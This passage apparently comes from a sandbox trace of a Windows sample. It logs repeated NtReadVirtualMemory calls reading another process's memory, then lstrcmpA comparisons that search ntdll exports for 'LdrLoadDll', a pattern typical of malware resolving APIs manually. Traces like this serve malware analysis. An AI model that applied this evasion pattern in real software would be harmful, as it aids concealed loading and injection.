(in: ProcessHandle=0x1210, BaseAddress=0x773d2000, Buffer=0x9d32000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d32000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d3000, Buffer=0x9d33000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d33000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d4000, Buffer=0x9d34000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d34000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d5000, Buffer=0x9d35000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d35000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.359] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d6000, Buffer=0x9d36000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d36000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.360] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d7000, Buffer=0x9d37000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d37000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.360] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d8000, Buffer=0x9d38000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d38000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773d9000, Buffer=0x9d39000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d39000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773da000, Buffer=0x9d3a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773db000, Buffer=0x9d3b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dc000, Buffer=0x9d3c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773dd000, Buffer=0x9d3d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.361] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773de000, Buffer=0x9d3e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773df000, Buffer=0x9d3f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d3f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e0000, Buffer=0x9d40000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d40000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e1000, Buffer=0x9d41000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d41000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e2000, Buffer=0x9d42000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d42000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e3000, Buffer=0x9d43000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d43000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.362] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e4000, Buffer=0x9d44000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d44000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.363] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e5000, Buffer=0x9d45000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d45000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.363] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e6000, Buffer=0x9d46000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d46000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.363] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e7000, Buffer=0x9d47000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d47000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.363] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e8000, Buffer=0x9d48000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d48000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.363] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773e9000, Buffer=0x9d49000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d49000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.364] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ea000, Buffer=0x9d4a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773eb000, Buffer=0x9d4b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ec000, Buffer=0x9d4c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ed000, Buffer=0x9d4d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ee000, Buffer=0x9d4e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ef000, Buffer=0x9d4f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d4f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.365] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f0000, Buffer=0x9d50000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d50000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.366] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f1000, Buffer=0x9d51000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d51000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.366] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f2000, Buffer=0x9d52000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d52000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.366] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f3000, Buffer=0x9d53000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d53000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.366] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f4000, Buffer=0x9d54000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d54000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.366] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f5000, Buffer=0x9d55000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d55000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.367] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f6000, Buffer=0x9d56000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d56000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.368] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f7000, Buffer=0x9d57000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d57000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.368] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f8000, Buffer=0x9d58000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d58000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.368] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773f9000, Buffer=0x9d59000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d59000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.368] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fa000, Buffer=0x9d5a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.369] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fb000, Buffer=0x9d5b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.369] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fc000, Buffer=0x9d5c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.369] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fd000, Buffer=0x9d5d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.369] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773fe000, Buffer=0x9d5e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.373] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x773ff000, Buffer=0x9d5f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d5f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.373] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77400000, Buffer=0x9d60000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d60000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.373] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77401000, Buffer=0x9d61000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d61000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.373] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77402000, Buffer=0x9d62000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d62000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.374] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77403000, Buffer=0x9d63000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d63000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.374] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77404000, Buffer=0x9d64000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d64000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.374] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77405000, Buffer=0x9d65000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d65000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.374] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77406000, Buffer=0x9d66000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d66000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.375] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77407000, Buffer=0x9d67000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d67000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.375] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77408000, Buffer=0x9d68000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d68000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.375] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77409000, Buffer=0x9d69000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d69000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740a000, Buffer=0x9d6a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740b000, Buffer=0x9d6b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740c000, Buffer=0x9d6c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740d000, Buffer=0x9d6d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740e000, Buffer=0x9d6e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.376] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7740f000, Buffer=0x9d6f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d6f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.377] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77410000, Buffer=0x9d70000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d70000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.377] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77411000, Buffer=0x9d71000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d71000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.378] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77412000, Buffer=0x9d72000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d72000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.378] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77413000, Buffer=0x9d73000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d73000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.378] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77414000, Buffer=0x9d74000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d74000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.378] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77415000, Buffer=0x9d75000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d75000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.378] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77416000, Buffer=0x9d76000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d76000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77417000, Buffer=0x9d77000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d77000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77418000, Buffer=0x9d78000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d78000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77419000, Buffer=0x9d79000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d79000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741a000, Buffer=0x9d7a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7a000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741b000, Buffer=0x9d7b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7b000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.379] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741c000, Buffer=0x9d7c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7c000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741d000, Buffer=0x9d7d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7d000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741e000, Buffer=0x9d7e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7e000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7741f000, Buffer=0x9d7f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d7f000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77420000, Buffer=0x9d80000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d80000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77421000, Buffer=0x9d81000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d81000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.380] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77422000, Buffer=0x9d82000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d82000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.381] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77423000, Buffer=0x9d83000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d83000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.381] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77424000, Buffer=0x9d84000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d84000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.381] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77425000, Buffer=0x9d85000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d85000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.382] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77426000, Buffer=0x9d86000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d86000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77427000, Buffer=0x9d87000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d87000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77428000, Buffer=0x9d88000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d88000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77429000, Buffer=0x9d89000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d89000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742a000, Buffer=0x9d8a000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8a000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742b000, Buffer=0x9d8b000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8b000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742c000, Buffer=0x9d8c000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8c000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742d000, Buffer=0x9d8d000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8d000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742e000, Buffer=0x9d8e000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8e000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7742f000, Buffer=0x9d8f000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d8f000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.383] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77430000, Buffer=0x9d90000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d90000*, NumberOfBytesRead=0x6adf270*=0x1000) returned 0x0 [0044.384] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77431000, Buffer=0x9d91000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d91000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.384] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77432000, Buffer=0x9d92000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d92000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.384] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77433000, Buffer=0x9d93000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d93000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.384] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77434000, Buffer=0x9d94000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d94000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.385] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77435000, Buffer=0x9d95000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d95000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.385] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77436000, Buffer=0x9d96000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d96000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.385] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77437000, Buffer=0x9d97000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d97000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.385] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x77438000, Buffer=0x9d98000, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf270 | out: Buffer=0x9d98000, NumberOfBytesRead=0x6adf270) returned 0x8000000d [0044.416] lstrcmpA (lpString1="A_SHAFinal", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="A_SHAInit", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="A_SHAUpdate", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="LdrLoadDll") returned -1 [0044.416] lstrcmpA 